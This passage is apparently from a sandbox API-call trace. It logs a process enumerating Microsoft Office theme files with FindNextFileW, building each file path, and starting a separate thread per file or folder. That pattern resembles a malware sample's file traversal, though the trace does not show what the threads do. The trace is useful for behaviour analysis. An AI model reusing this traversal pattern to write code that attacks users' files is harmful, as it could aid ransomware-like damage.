[0086.076] wcscmp (_String1="Opulent.thmx", _String2=".") returned 1 [0086.076] wcscmp (_String1="Opulent.thmx", _String2="..") returned 1 [0086.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85b7f0 [0086.076] wcscpy (in: _Dest=0x1b85b7f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.077] wcscat (in: _Dest=0x1b85b7f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.077] wcscat (in: _Dest=0x1b85b7f0, _Source="Opulent.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" [0086.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0086.078] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0086.078] wcscmp (_String1="Oriel.thmx", _String2=".") returned 1 [0086.078] wcscmp (_String1="Oriel.thmx", _String2="..") returned 1 [0086.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b880 [0086.078] wcscpy (in: _Dest=0x1b85b880, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.078] wcscat (in: _Dest=0x1b85b880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.078] wcscat (in: _Dest=0x1b85b880, _Source="Oriel.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" [0086.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0086.079] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0086.079] wcscmp (_String1="Origin.thmx", _String2=".") returned 1 [0086.079] wcscmp (_String1="Origin.thmx", _String2="..") returned 1 [0086.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b910 [0086.079] wcscpy (in: _Dest=0x1b85b910, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.079] wcscat (in: _Dest=0x1b85b910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.079] wcscat (in: _Dest=0x1b85b910, _Source="Origin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" [0086.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0086.080] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0086.080] wcscmp (_String1="Paper.thmx", _String2=".") returned 1 [0086.080] wcscmp (_String1="Paper.thmx", _String2="..") returned 1 [0086.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b9a0 [0086.080] wcscpy (in: _Dest=0x1b85b9a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.080] wcscat (in: _Dest=0x1b85b9a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.080] wcscat (in: _Dest=0x1b85b9a0, _Source="Paper.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" [0086.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0086.082] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0086.082] wcscmp (_String1="Perspective.thmx", _String2=".") returned 1 [0086.082] wcscmp (_String1="Perspective.thmx", _String2="..") returned 1 [0086.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad160 [0086.082] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.082] wcscat (in: _Dest=0x1b7ad160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.082] wcscat (in: _Dest=0x1b7ad160, _Source="Perspective.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" [0086.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0086.083] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0086.083] wcscmp (_String1="Pushpin.thmx", _String2=".") returned 1 [0086.083] wcscmp (_String1="Pushpin.thmx", _String2="..") returned 1 [0086.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85ba30 [0086.083] wcscpy (in: _Dest=0x1b85ba30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.083] wcscat (in: _Dest=0x1b85ba30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.083] wcscat (in: _Dest=0x1b85ba30, _Source="Pushpin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" [0086.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ba30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0086.084] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0086.084] wcscmp (_String1="Slipstream.thmx", _String2=".") returned 1 [0086.084] wcscmp (_String1="Slipstream.thmx", _String2="..") returned 1 [0086.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad200 [0086.084] wcscpy (in: _Dest=0x1b7ad200, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.084] wcscat (in: _Dest=0x1b7ad200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.084] wcscat (in: _Dest=0x1b7ad200, _Source="Slipstream.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" [0086.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0086.085] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0086.085] wcscmp (_String1="Solstice.thmx", _String2=".") returned 1 [0086.085] wcscmp (_String1="Solstice.thmx", _String2="..") returned 1 [0086.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bac0 [0086.085] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.085] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.085] wcscat (in: _Dest=0x1b85bac0, _Source="Solstice.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" [0086.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0086.086] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0086.086] wcscmp (_String1="Technic.thmx", _String2=".") returned 1 [0086.086] wcscmp (_String1="Technic.thmx", _String2="..") returned 1 [0086.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85bb50 [0086.086] wcscpy (in: _Dest=0x1b85bb50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.086] wcscat (in: _Dest=0x1b85bb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.086] wcscat (in: _Dest=0x1b85bb50, _Source="Technic.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" [0086.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0086.087] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0086.087] wcscmp (_String1="Thatch.thmx", _String2=".") returned 1 [0086.087] wcscmp (_String1="Thatch.thmx", _String2="..") returned 1 [0086.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85bbe0 [0086.088] wcscpy (in: _Dest=0x1b85bbe0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.088] wcscat (in: _Dest=0x1b85bbe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.088] wcscat (in: _Dest=0x1b85bbe0, _Source="Thatch.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" [0086.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0086.089] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0086.089] wcscmp (_String1="Theme Colors", _String2=".") returned 1 [0086.089] wcscmp (_String1="Theme Colors", _String2="..") returned 1 [0086.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85bc70 [0086.089] wcscpy (in: _Dest=0x1b85bc70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.089] wcscat (in: _Dest=0x1b85bc70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.089] wcscat (in: _Dest=0x1b85bc70, _Source="Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0086.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0086.090] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0086.090] wcscmp (_String1="Theme Effects", _String2=".") returned 1 [0086.090] wcscmp (_String1="Theme Effects", _String2="..") returned 1 [0086.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bd00 [0086.090] wcscpy (in: _Dest=0x1b85bd00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.090] wcscat (in: _Dest=0x1b85bd00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.090] wcscat (in: _Dest=0x1b85bd00, _Source="Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0086.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0086.091] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0086.091] wcscmp (_String1="Theme Fonts", _String2=".") returned 1 [0086.091] wcscmp (_String1="Theme Fonts", _String2="..") returned 1 [0086.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85bd90 [0086.091] wcscpy (in: _Dest=0x1b85bd90, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.091] wcscat (in: _Dest=0x1b85bd90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.091] wcscat (in: _Dest=0x1b85bd90, _Source="Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0086.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0086.092] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0086.092] wcscmp (_String1="Trek.thmx", _String2=".") returned 1 [0086.092] wcscmp (_String1="Trek.thmx", _String2="..") returned 1 [0086.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85be20 [0086.092] wcscpy (in: _Dest=0x1b85be20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.092] wcscat (in: _Dest=0x1b85be20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.092] wcscat (in: _Dest=0x1b85be20, _Source="Trek.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" [0086.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85be20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0086.093] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0086.093] wcscmp (_String1="Urban.thmx", _String2=".") returned 1 [0086.093] wcscmp (_String1="Urban.thmx", _String2="..") returned 1 [0086.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85beb0 [0086.093] wcscpy (in: _Dest=0x1b85beb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.093] wcscat (in: _Dest=0x1b85beb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.093] wcscat (in: _Dest=0x1b85beb0, _Source="Urban.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" [0086.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85beb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0086.094] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0086.094] wcscmp (_String1="Verve.thmx", _String2=".") returned 1 [0086.094] wcscmp (_String1="Verve.thmx", _String2="..") returned 1 [0086.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bf40 [0086.094] wcscpy (in: _Dest=0x1b85bf40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.094] wcscat (in: _Dest=0x1b85bf40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.094] wcscat (in: _Dest=0x1b85bf40, _Source="Verve.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" [0086.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0086.095] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0086.095] wcscmp (_String1="Waveform.thmx", _String2=".") returned 1 [0086.095] wcscmp (_String1="Waveform.thmx", _String2="..") returned 1 [0086.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bfd0 [0086.095] wcscpy (in: 